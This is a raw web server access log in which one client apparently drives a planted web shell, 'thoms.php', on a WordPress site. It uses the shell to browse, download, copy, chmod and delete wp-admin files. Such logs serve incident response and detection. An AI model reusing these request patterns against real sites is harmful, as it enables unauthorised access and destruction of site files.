45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 18787 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Ferror_log&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?copy=bft.com.tw%2Ferror_log&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Ferror_log&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11399 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 18931 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Ferror_log&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11442 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19117 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?copy=bft.com.tw%2Ferror_log&p= HTTP/1.1" 200 11993 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Ferror_log&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /bft.com.tw/wp-admin/font-library.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?dl=customize.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28610 "http://163.245.207.76:443/thoms.php?dl=customize.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=plugin-editor.php HTTP/1.1" 200 17528 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=plugin-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?del=ms-users.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28610 "http://163.245.207.76:443/thoms.php?del=ms-users.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:54 -0400] "GET /thoms.php?dl=media-upload.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28617 "http://163.245.207.76:443/thoms.php?dl=media-upload.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:55 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=revision.php HTTP/1.1" 200 14207 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:55 -0400] "GET /thoms.php?dl=privacy.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28610 "http://163.245.207.76:443/thoms.php?dl=privacy.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:55 -0400] "GET /thoms.php?del=profile.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28609 "http://163.245.207.76:443/thoms.php?del=profile.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:55 -0400] "GET /bft.com.tw/wp-admin/media-upload.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:55 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin%2Fimages HTTP/1.1" 200 27250 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:55 -0400] "GET /bft.com.tw/wp-admin/tools.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:55 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=press-this.php HTTP/1.1" 200 13028 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=press-this.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:55 -0400] "GET /thoms.php?chmod=themes.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=themes.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:55 -0400] "GET /bft.com.tw/wp-admin/upgrade-functions.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:55 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=update.php HTTP/1.1" 200 15231 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:55 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fcredits.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fcredits.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:55 -0400] "GET /bft.com.tw/wp-admin/menu-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:55 -0400] "GET /thoms.php?dl=update.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28587 "http://163.245.207.76:443/thoms.php?dl=update.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:55 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=erase-personal-data.php HTTP/1.1" 200 15015 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=erase-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:56 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=options-discussion.php HTTP/1.1" 200 17177 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=options-discussion.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:56 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=options-reading.php HTTP/1.1" 200 15552 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=options-reading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:56 -0400] "GET /thoms.php?dl=options-permalink.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28607 "http://163.245.207.76:443/thoms.php?dl=options-permalink.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:56 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin%2Fmaint HTTP/1.1" 200 12667 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin%2Fmaint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:56 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=authorize-application.php HTTP/1.1" 200 15630 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=authorize-application.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:56 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:56 -0400] "GET /thoms.php?chmod=users.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=users.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:56 -0400] "GET /thoms.php?del=options-head.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28606 "http://163.245.207.76:443/thoms.php?del=options-head.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:56 -0400] "GET /thoms.php?dl=import.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28607 "http://163.245.207.76:443/thoms.php?dl=import.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:56 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fnav-menus.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fnav-menus.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:56 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=options-media.php HTTP/1.1" 200 14228 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=options-media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:56 -0400] "GET /bft.com.tw/wp-admin/nav-menus.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:56 -0400] "GET /thoms.php?dl=widgets-form.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28621 "http://163.245.207.76:443/thoms.php?dl=widgets-form.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:57 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:57 -0400] "GET /thoms.php?chmod=user-edit.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=user-edit.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:57 -0400] "GET /thoms.php?del=network.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28623 "http://163.245.207.76:443/thoms.php?del=network.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:57 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fms-delete-site.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fms-delete-site.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:57 -0400] "GET /thoms.php?del=user-new.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28624 "http://163.245.207.76:443/thoms.php?del=user-new.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:57 -0400] "GET /thoms.php?chmod=ms-themes.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=ms-themes.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:57 -0400] "GET /thoms.php?chmod=ms-admin.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=ms-admin.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:57 -0400] "GET /thoms.php?dl=post.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28623 "http://163.245.207.76:443/thoms.php?dl=post.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:57 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fupdate-core.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fupdate-core.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:57 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-media.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-media.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:57 -0400] "GET /bft.com.tw/wp-admin/users.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:57 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fuser-new.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fuser-new.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:57 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fmy-sites.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fmy-sites.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:58 -0400] "GET /bft.com.tw/wp-admin/custom-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:58 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:58 -0400] "GET /thoms.php?dl=nav-menus.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28629 "http://163.245.207.76:443/thoms.php?dl=nav-menus.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:58 -0400] "GET /thoms.php?del=privacy.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28629 "http://163.245.207.76:443/thoms.php?del=privacy.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:58 -0400] "GET /thoms.php?chmod=options-discussion.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=options-discussion.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:58 -0400] "GET /thoms.php?chmod=post-new.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=post-new.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:58 -0400] "GET /bft.com.tw/wp-admin/link-add.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:58 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fimages&p= HTTP/1.1" 200 11992 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:58 -0400] "GET /bft.com.tw/wp-admin/admin-functions.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:58 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:58 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=edit-link-form.php HTTP/1.1" 200 14379 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=edit-link-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:58 -0400] "GET /thoms.php?dl=edit-form-comment.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28614 "http://163.245.207.76:443/thoms.php?dl=edit-form-comment.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:58 -0400] "GET /thoms.php?dl=ms-edit.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28613 "http://163.245.207.76:443/thoms.php?dl=ms-edit.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:58 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-reading.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-reading.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:58 -0400] "GET /thoms.php?dl=my-sites.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28602 "http://163.245.207.76:443/thoms.php?dl=my-sites.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:59 -0400] "GET /bft.com.tw/wp-admin/options-general.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:59 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fsite-health-info.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fsite-health-info.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
